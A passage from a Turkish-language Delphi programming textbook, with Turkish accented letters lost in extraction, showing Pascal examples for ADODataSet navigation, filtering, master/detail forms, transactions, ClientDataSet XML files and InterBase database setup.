ADODataSet1.Next; Kaytlar ierisinde bir sonraki kayda gemeyi salayan methoddur. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Next; end; ADODataSet1.Prior Bir nceki kayda gemek iin kullanlan methoddur. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Prior; end; ADODataSet1.Last Son kayda erimek iin kullanlan methoddur. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Last ; end; imdi bir rnek yapalm. rneimiz iin FATURATUTARI stununu kullanacaz. Yapacamz ilem ListBox1 kontrolnde ADODataSet kontroln kullanarak tm stunu yazdrmak. ListBox2 ye ise ilk stundaki deerlerin kmlatif toplamn aldrarak yazdrmak olacaktr. rneimiz iin formunuzun zerine bir adet Adoconnection nesnesi yerletirip SQL Server da oluturduumuz gazi isimli database e balaynz. kinci admda formun zerine bir adet ADODataSet kontrol yerletirin. nc admda yine formunuzun zerine iki adet ListBox ekleyip aadaki kod blounu Unit pencerenize ekleyiniz.

221

procedure TForm8.FormCreate(Sender: TObject); var miktar:Currency; ilk,son:AnsiString; begin miktar:=0; ADODataSet1.Connection:=ADOConnection1; ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS'; ADODataSet1.Open; ADODataSet1.First;//ilk kayda git while not ADODataSet1.Eof do //sonuna kadar oku begin miktar:=miktar+ADODataSet1.Fields[0].Value;//ilk stun deerini ekle ilk:=FloatToStrF(ADODataSet1.Fields[0].Value,ffCurrency,14,0); ListBox1.Items.Add(ilk); son:=FloatToStrF(miktar,ffCurrency,14,0);//formatla ListBox2.Items.Add(son);//ekle ADODataSet1.Next;//Sonraki kayda ge end; end;

ki stunu dikkatlice inceleyecek olursanz, birinci listedeki satrlar birbirlerine eklenerek ikinci stuna yazdrlmaktadr. BDE kontrollerinden Table veya Query kontrolyle bir ok zellii benzemektedir. Ayn mantkla kullanabilirsiniz. 222

ADODataSet Kontrol le Kayt lemleri: BDE Kontrollerinde yapm olduunuz kayt ilemlerine ok benzer bir mantkla ADODataSet kontroln kullanarak kayt ilemlerinizi yaptrabilirsiniz. Aada bu husus rnek zerinde aklanmaktadr. Birinci admda formunuzun zerine bir adet Adoconnection kontrol yerletirip ConnectionString zelliine SQL Server da daha nce yaratm bulunduumuz gazi isimli database i gsterin. kinci admda formunuza bir adet ADODataSet kontrol yerletirin. nc admda formunuza bir adet DataSource nesnesi yerletirip DataSet zelliine ADODataSet kontroln atayn. Drdnc admda formunuza bir adet DBGrid ile bir adet DBNavigator kontrol yerletirin. Ardnda bu iki kontroln DataSource zelliklerine DataSource1 deerini aktarn. En son tasarm annz aadaki ekilde olumaldr.

Aadaki kod satrlarnda altrabilirsiniz.

Unit

pencerenize

ekleyip

uygulamanz

procedure TForm9.FormCreate(Sender: TObject); begin ADODataSet1.Connection:=ADOConnection1; ADODataSet1.CommandText:='Select * From SERVIS'; ADODataSet1.Open; end; Dilerseniz yukardaki kod penceresinde yer alan satrlar Object Inspector penceresinden de ayarlayabilirsiniz. Biz butr ilemleri her zaman kodla yapmanz tavsiye ediyoruz. 223

ProgramIN altktan sonraki ekran grnts aadaki ekilde oluacaktr. DBNavigator kontrolndeki dmelerle BDE Kontrollerinde yapm olduunuz tm ilemleri aynen uygulayabilirsiniz.

Yukardaki grntde parasal deerleri formatl ekilde gstermek isterseniz kodunuzu aadaki ekilde deitirmelisiniz. Hatrlatalm ADODataSet kontrolne ait balant ilemi Object Inspector penceresinden yapld (Connection ile CommandText zellikleri). Ayrca ADODataSet kontrol zerinde mousun sa tuuna tklayp Fields Editor sein. Son olarak beyaz ekranda Add All Fields yaparak tm sutunlarn eklenmesini salayn. procedure TForm9.FormCreate(Sender: TObject); begin ADODataSet1FATURATUTARI.DisplayFormat:='###,###,### TL'; ADODataSet1.Open; end;

Dilerseniz DisplayFormat zelliini Object Inspector penceresinden de deitirebilirsiniz.

224

ADODataSet Kullanarak Kaytlar Filtrelemek: Kaynak olarak ADODataSet kullandnz zaman BDE kontrollerinde yaptnz gibi filtreleme ve kayt arama ilemlerini yapmanz mmkndr. Aada MAGAZAADI stununa gre kaytlar filtrelenmekte, filtre iin parametre Edit1 kontrolnden yollanmaktadr. procedure TForm9.Button1Click(Sender: TObject); //Filtrele begin ADODataSet1.Filtered:=true; ADODataSet1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text); end;

Var olan filtreyi iptal etmek iin aadaki kod satrn kullanabilirsiniz. procedure TForm9.Button2Click(Sender: TObject); //Filtreyi ptal Et begin ADODataSet1.Filtered:=False; end; ADODataSet Kullanarak Kayt Arama lemleri: ADODataSet kontrol kullanarak Microsoft Veri Tabanlarna balanrsanz aada izah edeceim ekilde kayt arama ilemlerini gerekletirebilirsiniz. Burada izeleyeceiniz yol BDE Kontrollerindekinden pek farkl olmayacaktr.

225

ADODataSet1.Locate Methodu: Kaynak olarak ADODataSet kontrolnn kullanlmas durumunda Locate methoduyla kayt arama ilemlerini gerekletirebilirsiniz. Aada bu husus rneklendirilmitir. procedure TForm9.Button2Click(Sender: TObject); //Kayt Bul var ara:Boolean; begin ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[]); if ara=false Then ShowMessage('Aradnz Kayda Ulalamad'); end; rnekte kullanlan Boolean tip deiken kaydn bulunamamas durumunda false deeri, bulunmas durumunda da true deerini alacaktr. ayet kodu Enter tuuyla tetiklemek isterseniz o zaman KeyPress yordamna aadaki ekilde bir kod blou eklemelisiniz. procedure TForm9.Edit1KeyPress(Sender: TObject; var Key: Char); var ara:Boolean; begin if Key=#13 Then//Enter tuuna basarsa begin ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[]); if ara=false Then ShowMessage('Aradnz Kayda Ulalamad'); end; end; ayet kk-byk harf duyarl olmasn istemiyorsanz, aynen BDE kontrollerinde olduu gibi nc parametreye deer aktarmalsnz. Kodu aadaki ekilde deitiriniz. procedure TForm9.Edit1KeyPress(Sender: TObject; var Key: Char); var ara:Boolean; begin if Key=#13 Then 226

begin ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); //kk-byk harfe duyarl olma if ara=false Then ShowMessage('Aradnz Kayda Ulalamad'); end; end;

ADODataSet Kontrol Kullanarak Master/Detail Form Oluturmak: Aadaki iki tabloyu SQL Server ierisinde oluturarak, ilikili tablolarda ilemlerin nasl yaptrlabileceini aklayalm. Tablo1:MAGAZA TABLOSU
Fieeld Name(Stun smi) MAGAZAADI ADRES TELEFON MUDUR SEHIR Type(Tipi) A A A A A 25 25 15 25 25 Size (Ka Karakter) Key(Primary ind) *

Tablo2:SERVIS TABLOSU
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) * Secondary Index

227

Tablolar oluturduktan sonra aadalki admlar izleyerek Master/Detail Form oluturabilirsiniz. Birinci adm, formunuzun zerine bir adet Adoconnection kontrol yerletirip gazi isimli database e balayn (daha nce bir ok kez yapld iin tekrar izah edilmeyecektir). kinci adm, ADO yapranda yer alan ADODataSet kontrolnden bir adet formunuzun zerine srkleyip brakn. Object Inspector penceresinden Connection zelliine Adoconnection1 kontroln aktarn. Ardndan CommandText zelliine tklayn. Aadaki pencere alacaktr.

Bu pencerede SQL ksmna Select * From MAGAZA yazp (Master tablo) OK Buttonuna tklaynz. Drdnc admda formunuza DataAccess yapranda yer alan DataSource kontrolnden bir adet srkleyip brakn. Object Inspector penceresinden DataSet zelliine ADODataSet1 kontroln aktarn. Beinci admda, formunuza DataControls yapranda yer alan DBGrid kontroln yerletirip DataSource zelliine DataSource1 kontroln aktarn (Bu ekilde master tablo ile ilgili ilemlerimiz tamamlanm oldu). Altnc admda formunuza ikinci bir ADODataSet kontrol yerletirerek Connection zelliine Adoconnection1 kontroln aktarn. Ardndan CommandText zelliine tklayarak aadaki pencereyi atrn. Yavru tablo iin gerekli SQL sorgusunu bu penceye yazacaz. 228

Select * From SERVIS sorgusunu aadaki ekilde SQL penceresinde oluturunuz.

OK basp dier admlara geiniz. Bu admda formunuza DataAccess yapranda yer alan DataSource kontrolnden srkleyip brakn. Ardndan DataSet zelliine ADODataSet2 kontroln aktarn. Bu sefer DataControls yapranda yer alan DBGrid kontrolnden bir adet formunuzun zerine tayn ve DataSource zelliine DataSource2 kontroln aktarn. imdiki admda iki ADODataSet arasndaki ilikiyi oluturacaz. Bu yzden ADODataSet2 kontroln seip Object Inspector penceresinden DataSource zelliine DataSource1 kontroln atayn. Ardndan yine ayn kontroln MasterFields zelliine tklayarak aadaki pencerenin almasn salayn. Alan Field Link Designer penceresinden iki tablo arasnda iliki yaratlacak olan stunlar belirleyeceiz. MAGAZA tablosunda (Master tablo) yer alan Primary index stunu ile SERVIS tablosunda (Detail tablo) yer alan secondry index stununu (ikisindede stun isimleri MAGAZAADI olarak verilmitir) ilikilendireceiz. Bu amala Detail Fields listesinden MAGAZAADI stununu, Master Fields stunundan da yine MAGAZAADI stununu seip Add dmesine tklayn. Yarattnz iliki Joined Fields listesine aktarlacaktr. Gerekiyorsa tablolar aras birden fazla iliki yaratabilirsiniz, bu tamamen programnzn kapasite ve nemine gre deiecektir.

229

Aadaki gibi ilikiyi yaratp OK buttonuna tklayabilirsiniz.

IndexFieldName deerini kendisi otomatik olarak dolduracaktr. ki ADODataSet kontrolnn de Object Inspector penceresinden Active zelliini true yapp program altrnz.

kinci DBGrid kontrolne dikkat edin, sadece ilk DBGrid kontrolnde seilmi olan maazaya ait yaplm servisleri listelemektedir. ayet baka bir maaza seerseniz altta yer alan DBGrid kontrol de yine sadece o maazaya ait servisleri listeleyecektir. 230

ADODataSet Kontrolne Uygulanabilecek Kilitler: Ayn anda yaplabilecek olan deiiklikler uyglamanz iin sorun yaratabilir. Dnn iki kullanc ayn anda ayn kayd deitirmeye kalkarsa tutarllk asndan sorun kacaktr. Bu yzden oluabilecek ters durumlara kar kilit kullanmalsnz. Aada kilit ekilleri ve uygulamas gsterilmektedir.
Lock Type ltOptimistic ltBatchOptimistic ltPessimistic ltReadOnly ltUnspecified Sonu Kayt deitirilmeye baland anda kilitlenme olur Kendi Bilgisayarnzda deitirebilirsiniz Deiiklik balad andan update edilene kadar Kaytlar deitirilemez zel Kilit

Veri Tabanna uygulayacanz kilit tipini kodla belirlemeniz gerekirse aadaki ekilde bir kodlama kullanabilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin ADODataSet1.LockType:=ltOptimistic; end; ADODataSet Kontrol le Kayt Eklemek: Aadaki ekilde tablonuza kolayca kayt ekleyebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); //Kayt Ekle begin ADODataSet1.Append; end; ADODataSet Kontrol le Aktif Kayd Silmek: Aadaki kodlamayla aktif kaydnz tablonuzdan silebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); //Kayt Sil begin ADODataSet1.Delete; end; ADODataSet ve Transaction: 231

Daha nceki blmlerde Transaction olaynn ne ie yarad detayl olarak anlatlmt. imdiki blm de ise bu ilemin ADO nesnelerine kullanmna ait uygulamalarndan bahsetmek istiyorum. Mantk tamamen ayn olmakle beraber uygulama ekli biraz daha farkl olmaktadr. ADOConnection1.BeginTrans Transaction ilemini balatan komuttur. Bu komuttan sonra yaplan tm ilemler iptal edilebilir veya tabloya yanstlabilir. procedure TForm2.FormCreate(Sender: TObject); begin ADOConnection1.BeginTrans;//Balat end; ADOConnection1.CommitTrans Transaction uygulamas balatldktan sonra yaplan tm deiikliklerin tabloya yanstlmasn salayan komuttur. Bu komut uygulandktan sonra Transaction ilemi sona erer. procedure TForm2.Button1Click(Sender: TObject); begin ADOConnection1.CommitTrans;//Tabloya yanst end; ADOConnection1.RollbackTrans Transaction ilemi balatldktan sonra yaplan tm deiiklikleri iptal ederek orjinal konuma dnlmesini salar. procedure TForm2.Button1Click(Sender: TObject); begin ADOConnection1.RollbackTrans;//Deiiklikleri iptal et end; Grld gibi ayn mantk fakat farkl komutlarla ADO kontrolleri iin Transaction ilemini kolayca gerekletirebilmekteyiz. imdi olayn anlalmas balamnda bir rnekle izahat yapalm.

232

Formunuzun zerine Bir adet AdoConnection, bir adet ADODataSet, bir adet DataSource, bir adet DBGrid, bir adet DBNavigator, be adet DBEdit ve iki adet Button kontrol ekleyip aadaki tasarm oluturunuz.

Gerekli tm balantlar yaparak (daha nce anlatld ekilde) DBGrid nesnesi ierisinde MAGAZA tablosuna ait tm kaytlarn gzkmesini salaynz. Bu aamadan sonra yapacanz ilem aadaki kodlar programnza eklemek olacaktr. procedure TForm2.FormCreate(Sender: TObject); //Transactionu Balat begin ADOConnection1.BeginTrans;//Transactionu balat end; procedure TForm2.Button1Click(Sender: TObject); //Uygula begin ADOConnection1.CommitTrans;//Deiiklikleri Tabloya Yaz ADOConnection1.BeginTrans;//Tekrar Transactionu Balat end; procedure TForm2.Button2Click(Sender: TObject); 233

//ptal Et begin ADOConnection1.RollbackTrans;//Deiiklikleri iptal et ADODataSet1.Close; ADODataSet1.Open; ADOConnection1.BeginTrans//Tekrar Balat end;

Program altrdktan sonra herhangi bir kayd silip, ardndan Iptal Et dmesine tklayn. Silinen kaydn geri geldiini greceksiniz. ayet Tabloya Yaz dmesine basarsanz yaptnz tm deiiklikler ana tablonuza uygulanacaktr. Kod satrlarna dikkat edecek olursanz Transaction ilemi OnCreate yordamnda otomatik olarak balatlmaktadr. Ayrca her Tabloya Yaz veya ptal Et dmesinden sonra Transaction ilemi yeniden balatlmaktadr. Bu tr uygulamalar performansnz biraz azaltacak fakat gvenliinizi nemli lde artracaktr. Programn almas srasnda devaml Transaction ak olaca iin, var olup olmadn kontrol ettirmenize gerek yoktur (BDE deki rnekte kontrol vard).

234

BLM 8 XML DOSYALARI OLUTURMAK

235

236

ClientDataSet Kontrol: Bu kontrol sayesinde BDE veya ADO kullanmadan harddiskinizde tablo yaratp ierisine kayt girebilirsiniz. Girilen kaytlara daha sonra ulamanz tabiiki mmkn olabilmektedir. Kontroln alma mant bilgisayarda cds veya xml uzantl bir dosya yaratarak ierisine kayt bilgilerini kaydetmekten ibarettir. Aada kullanmak zorun da olduunuz zelliklerini vereceim. ClientDataSet1.FieldDefs.Add Bu method sayesinde yaratacanz tabloya ait stunlar belirleyebilirsiniz. Stun ierikleriniz her ekil tipten olabilir. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false); ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false); ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false); ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false); end; Methodun kullanmna dikkat ettiyseniz 4 parametre iermektedir. Birinci parametre tablo stun ismini, ikinci parametre stuna girilecek ieriin tipini, nc parametre ka karakter olduunu (saysal ierikler iin 0 girebilirsiniz) belirlemektedir. ClientDataSet1.CreateDataSet DataSeti yaratmak iin kullanlan methoddur. Yaratlan bu dataset ierikleri daha sonra dosyaya kaydedilecektir. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.CreateDataSet;//yarat end; ClientDataSet1.SaveToFile DataSet ierisindeki kaytlar cds uzantl bir dosyaya kaydetmek iin kullanlan methoddur. Kaydedilen bu kaytlara daha sonra ulalma imkan mevcuttur.

237

procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');//Dosyaya kaydet end; ClientDataSet1.LoadFromFile cds uzantl dosya ierisindeki kaytlara ulaabilmek iin kullanlan methoddur. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.LoadFromFile('c:\gazi\prestige.cds');//A end; ClientDataSet1.FileName erisindeki kaytlarn gsterilecei dosya bu zellikle belirlenmektedir. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.FileName:='c:\gazi\prestige.cds'; end; ClientDataSet1.Filter Dosya ierisindeki tm tablolar deilde, sadece sizin istediiniz kaytlar gstermek amal kullanlan zelliidir. Kullanm aynen BDE ve ADO kontrollerindeki ekilde olacaktr. ClientDataSet1.Filtered Filtre ilemi iin belirlenen kriterin tabloya uygulanmas iin gerekli olan komuttur. True deerinin aktarlmas tablonun filtrelenecei anlamn tamaktadr. procedure TForm2.Button1Click(Sender: TObject); begin ClientDataSet1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text); ClientDataSet1.Filtered:=True; end; 238

imdi bu kontrole ait bir rnekle kullandmz methodlar tekrar hatrlamaya alalm. rnek iin aadaki tasarm oluturunuz.

imdi aadaki admlar izleyerek DBGrid nesnesi ierisindeki kaytlar dosyaya nasl kaydedebileceinizi renin. Birinci admda formunuza bir adet ClientDataSet kontrol yerletirin. Baka hi bir ayar yapmayn tamamn kodla yapacaz. kinci admda formunuza bir adet DataSource kontrol yerletirip DataSet zelliine ClientDataSet1 kontroln aktarn. nc admda formunuza bir adet DBGrid kontrol yerletirip DataSource zelliine DataSource1 deerini aktarn. Drdnc admda formunuza bir adet DBNavigator kontrol yerletirip DataSource zelliini DataSource1 yapn. Aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm2.FormCreate(Sender: TObject); begin if FileExists('c:\gazi\prestige.cds')=false Then//dosya yoksa begin //tabloyu olutur ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false); ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false); ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false); ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false); ClientDataSet1.CreateDataSet;//yarat ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');//kaydet end; 239

ClientDataSet1.FileName:='c:\gazi\prestige.cds'; //A ClientDataSet1.Open; end; procedure TForm2.Button1Click(Sender: TObject); //Kaydet begin ClientDataSet1.SaveToFile('c:\gazi\prestige.cds'); end;

Program ilkaltrdnz zaman dosyay bulamayaca iin oluturup kaydedecek. Bu aamadan sonra ekleyeceiniz her kayt daha sonra program atnz zaman DBGrid nesnesi ierisinde gzkecektir (Dosyaya Kaydet dmesine baslmas gereklidir). ClientDataSet Kontrol erisindeki Kaytlar Xml Uzantl Kaydetmek: ClientDataSet kontrol xml formatl dosyalara da destek vermektedir. Dilerseniz kaytlarnz bu formatta kaydedip sonra tekrar aabilirsiniz. Dorusunu isterseniz uygulamada Delphi iin cds veya xml olmu pek fark etmiyor. Yukardaki rnek iin kodu aadaki ekilde deitirip xml formatl dosya olarak ta oluturabilirdiniz. procedure TForm2.FormCreate(Sender: TObject); begin if FileExists('c:\gazi\prestige.xml')=false Then begin //tabloyu olutur ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false); ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false); ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false); 240

ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false); ClientDataSet1.CreateDataSet; ClientDataSet1.SaveToFile('c:\gazi\prestige.xml'); end; ClientDataSet1.FileName:='c:\gazi\prestige.xml'; //Dosyay A ClientDataSet1.Open; end; procedure TForm2.Button1Click(Sender: TObject); //xml olarak Kaydet begin ClientDataSet1.SaveToFile('c:\gazi\prestige.xml'); end;

241

242

BLM 9 INTERBASE KONTROLLERI

243

244

INTERBASE Veri Taban lemleri: SQL Server veya Oracle veri tabannn ykl olmad a ortamlarnda kullanlmak zere Delphinin destekledii bir veritaban uygulamasdr. Bu veritabannn zellii, ayn tablo iin deiik haklara sahip bir ok kullancnn tanmlabilmesine izin vermesidir. Yani bir kullanc tabloyu Read Only olarak kullanabilirken dier kullanc tablo zerinde tm deiiklikleri yapabilmektedir. InterBase ierisinde oluturulan tablolara BDE kontrollerini kullanarak ta kolayca balanabilirsiniz. Syledik ya bir yerden sonraki tm ilemler tamamen ayn mantk erevesinde gereklemektedir. Bu veritaban Delphi ile beraber gelen CD ierisinden ayrca yklenmelidir. Delphi7 srmnde InterBase 6.5 Desktop Edition seeneini tklayarak bilgisayarnza kurabilirsiniz.

InterBase kullanarak uygulama gelitirecekseniz, aada anlatlan ekilde bir yrnge izlemelisiniz. InterBase Kullanarak Veri Taban Oluturmak: Veri Taban uygulamalar gerekletireceiniz zaman tablolara ihtiyacnz olacaktr. Tablolar kendi balarna oluturulmazlar, ncelikle oluturulacaklar veri tabann yaratmanz gerekecektir. Ardndan istediiniz kadar tabloyu bu database (veri taban) ierisinde oluturabilirsiniz. InterBase uygulamasn bilgisayarnza ykledikten sonra Start mensne yklenmi olacaktr. Tm deiiklikleri bu ksa yoldan gerekletirebilirsiniz.

245

Start->Programs->InterBase->IBConsole pencereyi atrn.

admlarn

izleyerek

aadaki

Bu pencerede Local Server henz kullanlmaz durumdadr, aktif hale geirebilmeniz iin ifresini belirlemelisiniz. Local Server seeneini seerek mousun sa tuuna tklayn. Alan menden Login blmne tklayn. Aadaki pencere alacaktr.

ifreyi deitirmediiniz srece User Name e SYSDBA Password e masterkey yazarak Local Server i aktifletirebilirsiniz (bu ifre daha sonra deitirilebilir).

246

Local Server gsterilmektedir.


DataBase Backup Certificates Server Log Users

altnda

yer

alan

seenekler

aada

tablo

halinde

Seenekler

Sonu Yeni Bir Veri Taban oluturmak iin kullanlr Backup nitesi belirlemek iin kullanlr Yeni bi sertifika oluturmak iin kullanlr Log Dosyalar in Kullanlr Kullanc Tanmlamak in Kullanlr.

imdi DataBase seeneini kullanarak ilk Veri Tabannz oluturalm. IBConsole penceresi akken (ifreyi girip InterBase e logon olduktan sonra) DataBase->Create DataBase admlarn izleyerek aadaki pencereyi atrn.

FileNames ksmna veritabannzn yolunu Alias ksmnada kullanacanz ismini yazarak OK dmesine basn. Dikkat edin InterBase ierisinde oluturulan DataBase ler gdb uzants alrlar. Daha sonra programdan bu veritabanna ulamak iin FileNames ksmnda belirlediimiz dosya yolunu kullanacaz. OK Bastktan sonra kontrol edin prestige.gdb veritaban gazi klasrnn ierisinde 247

oluturulacaktr.Bu admdan sonra IBConsole pencerenizin grnts aadaki ekilde deiecektir.

Bu ekilde Migros isminde ilk DataBase imizi oluturmu olduk. Bu projeyle ilgili tm tablolarnz Migros database i ierisine kaydedebilirsiniz. InterBase Veri Taban erisinde Tablo Yaratmak: Yaratm olduunuz veriraban tek bana hi bir ie yaramaz, bu yzden ierisinde projeyi yaptnz firmaya ait kaytlarn tutulduu tablolar oluturmalsnz. InterBase ierisinde tablo yaratmak iin SQL komutlarndan faydalanlmaktadr. Create Table komutunu kullanarak tablo yaratma ilemine balayabilirsiniz. Kitap ierisinde biliyorsunuz MAGAZA ve SERVIS isimli ok mehur iki tablomuz var (Bu tablolar gerek bir projeniz ufak paralardr), imdi bu tablolardan InterBase ierisinde nasl yaratabileceinizi gsterecim. Migros database i altnda yer alan Tables seeneini sein. Tools>InterActive SQL komutlarn vererek aadaki pencereyi atrnz. Migros veritaban iin oluturacanz tm tablolar bu ekrandan gerekletireceksiniz. imdi ilk tablomuzu yaratalm. 248

Tools->InterActive men seeneklerine arka arkaya tklayarak aadaki InterActive SQL pencereinin almasn salaynz.

Yukardaki kodlamayla ilktablo ismiyle, ADISOYADI (max 25 karakter) ve ADRESI (max 50 karakter) stunlarna sahip, ADOSOYADI stununun bo geilemeyecei bir tablo yaratm olduk. Query->Execute admlaryla tablonuzu yaratabilirsiniz.

Query->Execute admlarndan sonra tablonuz IBConsole penceresinde oluacaktr. Bu tabloyu tm Delphi projelerinden arp kullanabilirsiniz (birazdan gstereceim). 249

InterBase erisinden Tabloya Kayt Girmek: Aslnda bu ekrandan kulanclar hi bir zaman kayt girii yapmayacaktr. Fakat uygulama ierisinde daha sonra silmek zere rnek kaytlara ihtiyacnz olabilir. Hzlca bu ekrandan nasl kayt girebileceinizi gstermek istiyorum. Tablonuzu seip mousun sa tuuna tklayn, men alacaktr. Bu menden Properties seeneini seerek alan pencereden Data yapran aktifletirin. Bu yaprakta yer alan kayt dmelerini kullanarak istediiniz kadar kayt girebilirsiniz.

Tablolarnz yaratrken balang aamasnda iyi tasrlama yapnz, daha sonra yapmak isteyeceiniz radikal deiikliklerde hsrana urayabilir, tablonuzu tekrar oluturmak zorunda kalabilirsiniz Delphi Projesinden Yarattnz Tabloya Balanmak: Aadaki admlar izleyerek Delphi uygulamasndan yaratm olduunuz tabloya kolayca balanabilirsiniz.

ncelikle yukardaki tasarm oluturun. imdi aadaki admlar izleyerek InterBase ierisinde yaratm olduunuz tabloya balanacaksnz. 250

Birinci adm formunuzun zerine bir adet InterBase yapranda yer alan IBDatabase kontrol yerletirerek Object Inspector penceresinden DataBaseName zelliine tklayn. Bu zellie tablomuzu ierisinde yaratm olduumuz veritabannn (gdb uzantl dosya) yolunu aktarmak durumundasnz (bizim rneimiz iin bu veri taban c:\gazi\prestige.gdb olarak kaydedilmiti). Ben prestige.gdb veritabannn yolunu gsterdim. kinci admda InterBase yapranda yer alan IBTransaction kontroln srkleyip formunuzun zerine brakn. Object Inspector penceresinden DefaultDataBase zelliine IBDataBase1 kontroln aktarn. nc admda formunuzun zerine InterBase yapranda yer alan IBTable kontrolnden bir adet srkleyip brakn. Object Inspector penceresinde yer alan DataBase zelliine IBDataBase1 ve Transaction zelliine IBTransaction1 kontroln aktarn (Bu zellii belirlemeden TableName zelliine tablo belirleyemezsiniz). Drdnc admda IBTable kontrolne ait TableName zelliine yaratm olduunuz tablonuzun ismini aktarn (ILKTABLO). Table Name zelliine tkladnz zaman size ifre soracaktr. ayet deitirmediyseniz SYSDBA ve masterkey deerlerini girebilirsiniz. Beinci admda DataAccess yapranda yer alan DataSource kontroln formunuzun zerine brakn. Object Inspector penceresinden DataSet zelliine IBTable1 kontroln aktarn. Altnc admda DataControls yapranda yer alan DBGrid kontroln formunuzun zerine alarak, DataSource zelliine DataSource1 deerini aktarn. Son adm olarak IBTable kontroln seip Active zelliini true yapn. Bu ilem IBTransaction kontrolnn aktif zelliinide otomatik olarak true yaptracaktr. Artk uygulamanz altrabilirsiniz.

Grld ekilde InterBase Databasei ierisinde oluturmu olduunuz tablolarla uygulama gelitirmek, son derece basit ve sade bir ekilde gerekleebilmektedir. 251

InterBase Veri Tabannda Gelimi Tablolar Yaratmak: Yukarda basit bir tablonun nasl yaratlabileceini gsterdik. imdi ise daha karmak tablolarn oluturulmasna ynelik uygulamalar gelitireceiz. Aslnda daha karmak aklamas ile indexli,default deerli, kstlamalara sahip tablo oluturmaktan bahsediyorum. imdi bizim mehur MAGAZA tablomuzu bu mantkla oluturalm. Aadaki admlar srayla izleyiniz. Migros databasi seili ilken Table seeneini sein. Tools->InterActive SQL admlarn izleyerek aadaki pencereyi an. Ardndan bizim yaptmz gibi tabloyu oluturmak iin gerekli SQL komutlarn pencereye ekleyiniz.

Sorguya dikkat edin 5 stundan oluan bir tablo yaratlarak MAGAZAADI stunu primary index olarak tanmlanmaktadr.

Bu ilemden sonra tabloya ait properties penceresinde Show Index dmesine tklarsanz Primary indexinizi grntleyebilirsiniz. 252

imdide ikinci tablo olarak SERVIS tablomuzu yaratacaz. Aadaki ekilde bir SQL sorgusu oluturun.

Yaratlan tablo 6 stundan olumakta olup SIRANO stunu Primary index, MAGAZA ad stunu da MAGAZA tablosundaki magazaad stunuyla ilikilendirilerek Foreign Key index olarak tanmlanmtr. Burada yeri gelmiken hatrlatalm Foreign Key index tanmlayp dier tablo stunuyla ilikisini belirttikten sonra MAGAZA tablosundaki MAGAZAADI stununda kaydedilmemi bir maaza adn SERVIS tablosuna giremeyeceksiniz. Sizi uyaracaktr. Oluturmu olduunuz iki tabloya bir ka kayt girerek imdilik bu konuya daha sonra dnmek zere bir nokta koyalm. Sebebine gelince Delphi kontrolleriyle bu tablolara ait nasl ilem yaplacan gstermek istiyorum.

253

InterBase Kontrolleri: InterBase ierisinde oluturmu olduunuz kaytlarla ilgili ilemleri yapabilmeniz iin eklenmi olan kontrollerdir. Aada kontrol isimleriyle beraber en ok kullanlan zelliklerini vereceim. IBDataBase Kontrol Bu kontrol veri tabannn yerini dier kontrollere gstermek iin kullanlr. Son derece nemli ve zorunlu bir kontroldr. IBDatabase1.DatabaseName Balant kurulacak olan veri tabannn yolu bu zellikle belirlenir. Bu admdan sonra o veri tabanndaki tm kaytlar yetki dahilinde kullanc tarafndan kullanlabilir. procedure TForm1.FormCreate(Sender: TObject); begin IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb'; end; IBDatabase1.LoginPrompt Balant srasnda logon penceresinin gsterilip gsterilmeyeceini belirleyen zelliidir. False deeri aktarlrsa login penceresi gzkmeyecektir. Hatrlatalm false aktarlmas ifreyi bilmeden database i aabileceiniz anlamna gelmez. Bu tip durumlarda ifre kodla girilecektir. procedure TForm1.FormCreate(Sender: TObject); begin IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb'; IBDatabase1.LoginPrompt:=TRUE; end; IBDatabase1.Params Bu zellie aktaracanz Tstrings tipli deiken deerleri sayesinde programa ait ifre girilerini kodla yaptrabilirsiniz. lk parametre kullanc adn, ikinci parametre ise kullancya ait ifreyi ifade edecektir.

254

